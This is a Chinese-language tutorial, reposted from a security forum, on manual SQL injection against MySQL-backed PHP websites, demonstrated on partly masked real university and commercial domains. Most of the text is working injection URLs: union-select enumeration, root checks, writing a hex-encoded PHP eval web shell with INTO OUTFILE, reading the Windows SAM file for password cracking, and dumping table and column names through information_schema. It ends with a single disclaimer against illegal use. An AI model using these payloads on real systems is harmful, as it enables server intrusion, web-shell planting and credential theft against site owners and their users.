SQL手工注入基础详解---- MySQL篇
转自:http://blog.csdn.net/xabc3000/article/details/7615379
作者:DragonEgg
信息来源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/
和MySQL数据库搭配在一起的大多数都是PHP脚本,注入在PHP脚本也是非常泛滥的,但在php脚本中,最常见的是数字型的注入,在php注入中我们利用的是union联合查询,如果连union都不能用的话,就只能像ACCESS那样逐字猜解了。
MySQL的注入点判断很容易,只要报错的内容中有“MySQL”字样,就是MySQL数据库。并且报错时也会把路径暴出来,如图43。
MySQL也是要分版本对待的,为什么呢?因为在 MySQL>5.0的版本中内置了一个名为information_schema的系统表,我们可以利用这个表来查询所有的数据库、表名、列名以及内容了,不过我们要先判断它的数据库结构,我们提交:
http://bwc.****.edu.cn/index_news.php?id=127 and 1=1 union select 3,2,1/*
直到返回正确,就表明当前表有三个列,返回错误的话,就按照格式继续在后面添加“4,5,6……”中间用“,”隔开。直到返回正确为止,我这里提交到了15返回正确。再把1=1改为1=2使其报错,就会发现,页面上的内容被几个数字代替,如图44。
如果出现“类型不匹配”的问题,可以将提交的数字用“null”代替,因为“null”能匹配任何类型。
我们发现,13和14位置比较明显,将其中一个改为“version()”,提交:
http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union select 15,version(),13,12,11,10,9,8,7,6,5,4,3,2,1/*
就可以得到版本信息,如图45。
如果是小于5.0版本的话,我们又要去猜表了。若是*nix服务器的话,我们可以判断是不是root权限,提交:
http://bwc.****.edu.cn/index_news.php?id=127 and ord(mid(user(),1,1))=114/*
返回的是正常页面的话,说明是root权限。如果是的话,我们可以直接写入一句话木马:
http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union all select 0x3C3F706870206576616C28245F504F53545B2763275D293F3E into outfile '\www\edu\1.php'/*
如果返回正常,我们就把一句话“<?php eval($_POST['c'])?>”写入了1.php中,其中“3C3F706870206576616C28245F504F53545B2763275D293F3E”是一句话的16进制格式,“\www\edu\1.php”是WEB路径+一句话的文件名。可惜,我这里是windows NT的服务器,没法截图。我们接下来试试有没有读文件权限,提交:
http://www.****.cn/v_news.php?id=1806 and (select count(*) from mysql.user)>0/*
返回正常的话,说明有读文件权限,如图46(换了一个注入点)。
我们来判断出目标的操作系统,提交:
http://www.****.cn/v_news.php?id=1806 and 1=2 union select14,13,12,11,10,@@version_compile_os,8,7,6,5,4,3,2,1/*
如图47,从回显可以看出,是WIN32系统,我们可以暴服务器的“c:\windows\repair\sam”文件,但注意要用hex()函数转换下,不然编辑器无法直接读取,提交的语句为:
http://www.****.cn/v_news.php?id=1806 and 1=2 union select14,13,12,11,10,hex(load_file(0x633A2F77696E646F77732F7265706169722F73616D)),8,7,6,5,4,3,2,1/*
如图48,然后用16进制编辑器加载16进制代码,另存为sam文件,再用lc5破解,若服务器开了135/445、3389的话,就可以直接连上去了。
如果没有没有文件读取权限,我们来猜表,提交:
http://bwc.****.edu.cn/index_news.php?id=127 and 1=1 union select 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1 from user/*
返回正确,表示存在user这个表,不存在的话就继续猜。如果成功的话,把数字换成我们要猜的列名,例如把14和13换成“username”和“password”,还要把1=1换成1=2,提交后我们要的内容就直接出来了,如图50。
再来看看版本>5.0的情况下的注入。5.0以上版本中提供了一个新的变量,那就是“@@datadir”,利用这个变量就可以暴出数据库的路径,我们在14处暴路径,如图51。
我们再来暴数据库的库名,提交:
http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union select 15,schema_name,13,12,11,10,9,8,7,6,5,4,3,2,1 from information_schema.schemata limit 1,1/*
如图52,想要得到其它的数据库名,就把“limit 1,1”的第一个“1”改成相应的数字就可以,如第二个,就是limit 2,1。得到了库名,接下来暴表名,如暴“bwc”库的表名,提交:
http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union select 15,table_name,13,12,11,10,9,8,7,6,5,4,3,2,1 from information_schema.tables where table_schema=0x627763 limit 1,1/*
如图53,得到了第一个表名:“user”。再暴user表中的列名,提交:
http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union select 15,column_name,13,12,11,10,9,8,7,6,5,4,3,2,1 from information_schema.columns where table_name=0x75736572 limit 1,1/*
如图54,最后我们知道了表名和列名,就可以用上面的方法暴列里面的内容了。
通过前面的学习,我们可以看出,如果access数据库主要是靠“猜”,MSSQL数据库主要是靠“暴”的话,那么MySQL数据库就是“猜”和“暴”相结合的方式。当在MSSQL和MySQL数据库中遇到字符型注入点时,因为它们都有各自的注释符,我们可以先加一个单引号,再加注入语句,最后加上各自的注释符来注入。
到此,我们的手工注入基础知识就讲完了,并且在我们的文章中几乎没有用到什么工具(ASCII表和查找目录语句可以背下来=,=!)。如果大家能够熟练的掌握好手注的话,会发现手注其实比用工具注入有趣的多,在我们解决掉手注时遇到的各种问题时的感觉是非常爽的,所以提醒大家要能够熟练的掌握好手注。还有非法入侵他人的计算机是一种违法行为,请大家不要将学到的知识用于非法用途,这样只会害人害己。